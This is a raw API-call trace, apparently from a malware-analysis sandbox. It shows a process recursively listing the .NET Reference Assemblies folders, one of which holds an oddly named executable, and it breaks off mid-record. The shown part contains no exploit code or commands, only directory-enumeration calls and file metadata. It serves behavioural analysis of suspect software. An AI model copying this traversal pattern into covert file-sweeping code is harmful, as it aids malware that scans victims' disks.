lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe773d443, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe773d443, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.094] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe773d443, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe773d443, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.094] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc615fa0, ftCreationTime.dwHighDateTime=0x1d57bdb, ftLastAccessTime.dwLowDateTime=0x2f42bf40, ftLastAccessTime.dwHighDateTime=0x1d5ae5e, ftLastWriteTime.dwLowDateTime=0x2f42bf40, ftLastWriteTime.dwHighDateTime=0x1d5ae5e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="copefinancesringtones.exe", cAlternateFileName="COPEFI~1.EXE")) returned 1 [0268.094] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0268.095] GetProcessHeap () returned 0xc10000 [0268.095] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0268.095] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.096] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0268.096] GetProcessHeap () returned 0xc10000 [0268.096] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0268.097] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.097] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0268.097] GetProcessHeap () returned 0xc10000 [0268.097] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0268.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.100] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.100] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575a2150, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575a2150, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0268.100] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x574bd2f8, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x574bd2f8, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x407000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x50a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57614879, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57614879, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0268.101] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0268.101] GetProcessHeap () returned 0xc10000 [0268.101] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0268.103] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.103] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4f2bdbb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4f2bdbb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0268.103] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4f2bdbb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4f2bdbb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0268.103] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0268.103] GetProcessHeap () returned 0xc10000 [0268.103] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0268.103] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0268.103] GetProcessHeap () returned 0xc10000 [0268.103] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0268.106] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.106] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0268.106] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0268.106] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0268.106] GetProcessHeap () returned 0xc10000 [0268.107] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d14c866, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6d14c866, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90981b06, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65065569, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x65065569, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57555c84, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57555c84, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6749ba48, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x674e7ec0, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90981b06, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x66fb0c3e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6710806a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x5b7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57686f9f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57686f9f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0268.107] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57686f9f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57686f9f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x576ad20c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x576ad20c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", 